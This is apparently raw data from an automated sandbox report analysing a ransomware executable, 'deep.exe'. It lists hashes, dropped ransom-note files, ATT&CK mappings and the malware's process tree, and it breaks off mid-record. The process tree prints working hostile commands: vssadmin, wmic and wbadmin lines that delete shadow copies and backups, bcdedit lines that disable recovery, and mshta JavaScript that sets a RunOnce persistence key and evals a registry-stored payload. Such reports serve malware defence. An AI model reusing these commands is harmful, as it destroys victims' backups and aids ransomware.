3J5cHRlZCBmaWxlcy4gICogRG8gbm90IHRyeSB0byBkZWNyeXB0IHlvdXIgZGF0YSB1c2luZyB0aGlyZCBwYXJ0eSBzb2Z0d2FyZSwgaXQgbWF5IGNhdXNlIHBlcm1hbmVudCBkYXRhIGxvc3MuICAgKiBEZWNyeXB0aW9uIG9mIHlvdXIgZmlsZXMgd2l0aCB0aGUgaGVscCBvZiB0aGlyZCBwYXJ0aWVzIG1heSBjYXVzZSBpbmNyZWFzZWQgcHJpY2UgICAgICh0aGV5IGFkZCB0aGVpciBmZWUgdG8gb3VyKSBvciB5b3UgY2FuIGJlY29tZSBhIHZpY3RpbSBvZiBhIHNjYW0u1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"job_id":"5b5202227ca3e116275eeb53","environment_id":100,"environment_description":"Windows 7 32 bit","size":4707328,"type":"PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows","type_short":["peexe","executable"],"type_short_id":"exe","target_url":null,"state":"SUCCESS","error_type":null,"error_origin":null,"submit_name":"deep.exe","md5":"8a8c17f96add3a38d3c87ebe440bdf52","sha1":"b5319a7c0fdf72c160e9b4424fc830115c9e86e5","sha256":"9e54b2b929422550c4b0c48e7423a2796bb3c2c43ff5f1ff4e6ea1ca4e6655bb","sha512":"9b349902d13bfc41c7a98e15e13bb76eff5633f0331c8e1b49a8e914c0e714f1bd034ac9a962f6229e8912af88ad08ebc8317e0a83769d0b1e3dc781b530a2ca","ssdeep":"98304:Wneb4JF4qJBDdeShKLLrQANNTaTdVSOi9kWWarcX:SF4EDdeSULTNNOTK5WarcX","imphash":"2eabe9054cad5152567f0699947a2c5b","entrypoint":"0xb22000","entrypoint_section":"iccgbqzr","image_base":null,"subsystem":null,"image_file_characteristics":[],"dll_characteristics":[],"major_os_version":null,"minor_os_version":null,"av_detect":null,"vx_family":null,"url_analysis":false,"analysis_start_time":"2018-07-20T16:35:57+00:00","threat_score":100,"interesting":false,"threat_level":2,"verdict":"malicious","certificates":[],"is_certificates_valid":false,"certificates_validation_message":"No signature was present in the subject. (0x800b0100)","domains":[],"compromised_hosts":[],"hosts":[],"total_network_connections":0,"total_processes":22,"total_signatures":59,"extracted_files":[{"name":"HOW TO RECOVER ENCRYPTED FILES.TXT","file_path":"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT","file_size":2134,"md5":"fcefb274ced0fb3c06e3555b83000c16","sha1":"3f6b68da2a0d84ecc9e82e197c32be454fc17360","sha256":"fee4182e7afe915e3bd780a2199949bcf8ab61a1abae7d3f2a8179dd60abc900","sha512":"cfe434219113a34e99a98d5d5c1d3cffdde9d10e7ed00c971548650faa28a7cf7b070f3e10c46fd9dffa5c087a97fbe32b7333b38979b1126fafdb0aceda8f8c","type_tags":["text"],"description":"ASCII text, with CRLF line terminators","runtime_process":"deep.exe (PID: 2524)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5b5202227ca3e116275eeb53/download/dropped-file?key=1fe519a3d532bc598b2949570acaf9987808a11fa4bc0c4d5829938bd13d404bdcd34d7b13d1a9a1cc317305aedec6eddd4cf1aff38f4c15a3b2362855207c260bfcc5480fadcd230003b981ed1ed5b548daa413819c8b40bdc4ba6173","submit_link":"/bff/report/5b5202227ca3e116275eeb53/submit/dropped-file?key=1fe519a3d532bc598b2949570acaf9987808a11fa4bc0c4d5829938bd13d404bdcd34d7b13d1a9a1cc317305aedec6eddd4cf1aff38f4c15a3b2362855207c260bfcc5480fadcd230003b981ed1ed5b548daa413819c8b40bdc4ba6173","has_overview":false,"extended_details":null},{"name":"desktop.ini","file_path":"%USERPROFILE%\\Desktop\\desktop.ini","file_size":0,"md5":null,"sha1":null,"sha256":null,"sha512":null,"type_tags":["empty"],"description":"empty","runtime_process":"deep.exe (PID: 2524)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"LMeWCFyUXhYBLR.bmp","file_path":"%USERPROFILE%\\LMeWCFyUXhYBLR.bmp","file_size":1497654,"md5":"d6029b7bfdce0ef68deafc446a1a8645","sha1":"6643d3137035ab345c5b81701a6ae16edd36c233","sha256":"b9727eb82291f92f653a174126b4fb164006434b7fa82a6f9d2e11936cf4495f","sha512":"52c265ba7e420f486915f639cb53a22350a0a80c121654f4247d836e89a84a5cdf6ed62c75d077ead974b23304864c93cef0ea333bcd91bb22b33694d044309a","type_tags":["unknown"],"description":"PC bitmap, Windows 3.x format, 960 x 520 x 24","runtime_process":"deep.exe (PID: 2524)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5b5202227ca3e116275eeb53/download/dropped-file?key=f3afd2f8f549fa8d5a7df9819a894be62262e6022a0b894f778124ce8711965547a56e6f8d0d6787385c0bf4e73bafc5a8629c06c8f08e2093cc0738b7457b295ceb6b476e05ee7eb07a6930","submit_link":"/bff/report/5b5202227ca3e116275eeb53/submit/dropped-file?key=f3afd2f8f549fa8d5a7df9819a894be62262e6022a0b894f778124ce8711965547a56e6f8d0d6787385c0bf4e73bafc5a8629c06c8f08e2093cc0738b7457b295ceb6b476e05ee7eb07a6930","has_overview":false,"extended_details":null}],"file_metadata":{"file_compositions":[],"imported_objects":[],"file_analysis":[],"total_file_compositions_imports":null},"processes":[{"uid":"00015229-00002420","parentuid":null,"name":"deep.exe","normalized_path":"C:\\deep.exe","command_line":null,"sha256":"9e54b2b929422550c4b0c48e7423a2796bb3c2c43ff5f1ff4e6ea1ca4e6655bb","av_label":null,"av_matched":null,"av_total":null,"pid":"2420","icon":"$25","process_flags":[]},{"uid":"00016417-00003944","parentuid":"00015229-00002420","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3944","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00016469-00003828","parentuid":"00015229-00002420","name":"deep.exe","normalized_path":"C:\\deep.exe","command_line":"runas","sha256":"9e54b2b929422550c4b0c48e7423a2796bb3c2c43ff5f1ff4e6ea1ca4e6655bb","av_label":null,"av_matched":null,"av_total":null,"pid":"3828","icon":null,"process_flags":[]},{"uid":"00017590-00003040","parentuid":"00016469-00003828","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3040","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00017674-00002524","parentuid":"00016469-00003828","name":"deep.exe","normalized_path":"%APPDATA%\\deep.exe","command_line":null,"sha256":"9e54b2b929422550c4b0c48e7423a2796bb3c2c43ff5f1ff4e6ea1ca4e6655bb","av_label":null,"av_matched":null,"av_total":null,"pid":"2524","icon":null,"process_flags":[]},{"uid":"00018756-00002344","parentuid":"00017674-00002524","name":"mshta.exe","normalized_path":"%WINDIR%\\System32\\mshta.exe","command_line":"\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('deep.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\LMeWCFyUXhYBLR',i);}catch(e){}},10);\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","av_label":null,"av_matched":null,"av_total":null,"pid":"2344","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00018763-00002328","parentuid":"00017674-00002524","name":"mshta.exe","normalized_path":"%WINDIR%\\System32\\mshta.exe","command_line":"\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\IZXJ[\\\\CWBBP'));close();\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","av_label":null,"av_matched":null,"av_total":null,"pid":"2328","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00018995-00003448","parentuid":"00018763-00002328","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3448","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00019094-00001104","parentuid":"00018995-00003448","name":"wbadmin.exe","normalized_path":"%WINDIR%\\System32\\wbadmin.exe","command_line":"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0","sha256":"be527c6085cd944097de35b9740fc4dd24d455567bec596e9cc300d70c5a392d","av_label":null,"av_matched":null,"av_total":null,"pid":"1104","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00019026-00003472","parentuid":"00018763-00002328","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/c wmic SHADOWCOPY DELETE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3472","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00019136-00003816","parentuid":"00019026-00003472","name":"WMIC.exe","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","command_line":"wmic SHADOWCOPY DELETE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","av_label":null,"av_matched":null,"av_total":null,"pid":"3816","icon":null,"process_flags":[{"name":"Extracted Streams","data":null},{"name":"Reduced Monitoring","data":null}]},{"uid":"00019050-00003624","parentuid":"00018763-00002328","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/c vssadmin Delete Shadows /All /Quiet","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3624","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00019155-00004044","parentuid":"00019050-00003624","name":"vssadmin.exe","normalized_path":"%WINDIR%\\System32\\vssadmin.exe","command_line":"vssadmin Delete Shadows /All /Quiet","sha256":"e09bf4d27555ec7567a598ba89ccc33667252cef1fb0b604315ea7562d18ad10","av_label":null,"av_matched":null,"av_total":null,"pid":"4044","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00019063-00003736","parentuid":"00018763-00002328","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/c bcdedit /set {default} recoveryenabled No","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3736","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00019159-00003844","parentuid":"00019063-00003736","name":"bcdedit.exe","normalized_path":"%WINDIR%\\System32\\bcdedit.exe","command_line":"bcdedit /set {default} recoveryenabled No","sha256":"aa501dc5b621527b0e3dd2787d4969647631c4904d3ae9fc06d177251bc760e3","av_label":null,"av_matched":null,"av_total":null,"pid":"3844","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00019096-00003444","parentuid":"00018763-00002328","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3444","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00019208-00003880","parentuid":"00019096-00003444","name":"bcdedit.exe","normalized_path":"%WINDIR%\\System32\\bcdedit.exe","command_line":"bcdedit /set {default} bootstatuspolicy ignoreallfailures","sha256":"aa501dc5b621527b0e3dd2787d4969647631c4904d3ae9fc06d177251bc760e3","av_label":null,"av_matched":null,"av_total":null,"pid":"3880","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00019705-00003780","parentuid":"00017674-00002524","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/C NET USE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3780","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00019711-00003684","parentuid":"00019705-00003780","name":"net.exe","normalized_path":"%WINDIR%\\System32\\net.exe","command_line":"NET USE","sha256":"d468e6b1b79555ac8bce0300942fd479689eb8f159f3a399848d3bf9b9990a56","av_label":null,"av_matched":null,"av_total":null,"pid":"3684","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00020827-00003560","parentuid":"00017674-00002524","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/c start /max notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"3560","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00020865-00003564","parentuid":"00020827-00003560","name":"notepad.exe","normalized_path":"%WINDIR%\\System32\\notepad.exe","command_line":"\"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\"","sha256":"c4232ddd4d37b9c0884bd44d8476578c54d7f98d58945728e425736a6a07e102","av_label":null,"av_matched":null,"av_total":null,"pid":"3564","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00020855-00003552","parentuid":"00017674-00002524","name":"mshta.exe","normalized_path":"%WINDIR%\\System32\\mshta.exe","command_line":"\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('deep.exe');close()}catch(e){}},10);\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","av_label":null,"av_matched":null,"av_total":null,"pid":"3552","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]}],"mitre_attcks":[{"tactic":"Execution","technique":"Service Execution","attck_id":"T1035","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1035","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Execution","technique":"Windows Management Instrumentation","attck_id":"T1047","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1047","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Reads system information using Windows Management Instrumentation Commandline (WMIC)"],"informative_identifiers_count":2,"informative_identifiers":["Contains references to WMI/WMIC","Executes WMI queries"],"parent":null},{"tactic":"Persistence","technique":"Hooking","attck_id":"T1179","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Installs hooks/patches the running process"],"parent":null},{"tactic":"Persistence","technique":"Registry Run Keys / Start Folder","attck_id":"T1060","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1060","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Modifies auto-execute functionality by setting/creating a value in the registry"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attck_id":"T1215","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Opens the Kernel Security Device Driver (KsecDD) of Windows"],"parent":null},{"tactic":"Privilege Escalation","technique":"Hooking","attck_id":"T1179","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Installs hooks/patches the running process"],"parent":null},{"tactic":"Privilege Escalation","technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","malicious_identifiers_count":1,"malicious_identifiers":["Allocates virtual memory in a remote process"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Defense Evasion","technique":"File Deletion","attck_id":"T1107","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","malicious_identifiers_count":2,"malicious_identifiers":["Deletes system state backups (often used by ransomware)","Deletes volume snapshots (often used by ransomware)"],"suspicious_identifiers_count":1,"suspicious_identifiers":["Marks file for deletion"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Defense Evasion","technique":"Modify Registry","attck_id":"T1112","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":["Changes the desktop background picture","Modifies proxy settings"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Defense Evasion","technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","malicious_identifiers_count":1,"malicious_identifiers":["Allocates virtual memory in a remote process"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Credential Access","technique":"Hooking","attck_id":"T1179","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Installs hooks/patches the running process"],"parent":null},{"tactic":"Discovery","technique":"Query Registry","attck_id":"T1012","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","malicious_identifiers_count":1,"malicious_identifiers":["Reads the system/video BIOS version"],"suspicious_identifiers_count":3,"suspicious_identifiers":["Queries sensitive IE security settings","Reads the active computer name"],"informative_identifiers_count":4,"informative_identifiers":["Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","Reads information about supported languages","Reads the cryptographic machine GUID","Reads the registry for installed applications"],"parent":null},{"tactic":"Discovery","technique":"Process Discovery","attck_id":"T1057","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1057","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Queries process information"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attck_id":"T1120","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1120","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Queries volume information"],"parent":null},{"tactic":"Discovery","technique":"Application Window Discovery","attck_id":"T1010","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1010","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Scanning for window names"],"parent":null},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attck_id":"T1076","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1076","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Reads terminal service related keys (often RDP related)"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Collection","technique":"Email Collection","attck_id":"T1114","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1114","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null}],"network_mode":"default","signatures":[{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthyness","identifier":"api-10","type":6,"relevance":6,"name":"Queries kernel debugger information","description":"\"mshta.exe\" at 00018756-00002344-00000105-80431872192\n \"mshta.exe\" at 00018763-00002328-00000105-80341968624\n \"WMIC.exe\" at 00019136-00003816-00000105-94541425093\n \"vssadmin.exe\" at 00019155-00004044-00000105-89865098673\n \"mshta.exe\" at 00020855-00003552-00000105-126185671281","description_v2":["\"mshta.exe\" at 00018756-00002344-00000105-80431872192","\"mshta.exe\" at 00018763-00002328-00000105-80341968624","\"WMIC.exe\" at 00019136-00003816-00000105-94541425093","\"vssadmin.exe\" at 00019155-00004044-00000105-89865098673","\"mshta.exe\" at 00020855-00003552-00000105-126185671281"],"description_v3":[{"type":"text","value":"\"mshta.exe\" at 00018756-00002344-00000105-80431872192"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" at 00018763-00002328-00000105-80341968624"},{"type":"linebreak"},{"type":"text","value":"\"WMIC.exe\" at 00019136-00003816-00000105-94541425093"},{"type":"linebreak"},{"type":"text","value":"\"vssadmin.exe\" at 00019155-00004044-00000105-89865098673"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" at 00020855-00003552-00000105-126185671281"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthyness","identifier":"registry-29","type":3,"relevance":3,"name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"mshta.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")\n \"WMIC.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","description_v2":["\"mshta.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","\"WMIC.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")"],"description_v3":[{"type":"text","value":"\"mshta.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")"},{"type":"linebreak"},{"type":"text","value":"\"WMIC.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-56","type":6,"relevance":10,"name":"Executes WMI queries","description":"\"WMIC.exe\" issued a query \"SELECT * FROM Win32_ShadowCopy\"","description_v2":["\"WMIC.exe\" issued a query \"SELECT * FROM Win32_ShadowCopy\""],"description_v3":[{"type":"text","value":"\"WMIC.exe\" issued a query \"SELECT * FROM Win32_ShadowCopy\""}],"origin":"API Call","attck_id":"T1047","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1047","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-11","type":6,"relevance":2,"name":"Queries volume information","description":"\"notepad.exe\" queries volume information of \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\" at 00020865-00003564-0000010C-125827100636","description_v2":["\"notepad.exe\" queries volume information of \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\" at 00020865-00003564-0000010C-125827100636"],"description_v3":[{"type":"text","value":"\"notepad.exe\" queries volume information of \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\" at 00020865-00003564-0000010C-125827100636"}],"origin":"API Call","attck_id":"T1120","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1120","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"registry-1","type":3,"relevance":10,"name":"Reads the cryptographic machine GUID","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"vssadmin.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","description_v2":["\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","\"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","\"vssadmin.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"],"description_v3":[{"type":"text","value":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"},{"type":"linebreak"},{"type":"text","value":"\"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"},{"type":"linebreak"},{"type":"text","value":"\"vssadmin.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"registry-55","type":3,"relevance":10,"name":"Reads the registry for installed applications","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\DEEP.EXE\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\DEEP.EXE\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\"; Value: \"00000000010000005800000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006900630072006F0073006F006600740020004F00660066006900630065005C004F0066006600690063006500310034005C000000\")\n \"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","description_v2":["\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\DEEP.EXE\")","\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\DEEP.EXE\")","\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\")","\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\"; Value: \"00000000010000005800000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006900630072006F0073006F006600740020004F00660066006900630065005C004F0066006600690063006500310034005C000000\")","\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")"],"description_v3":[{"type":"text","value":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\DEEP.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"\" (Path: 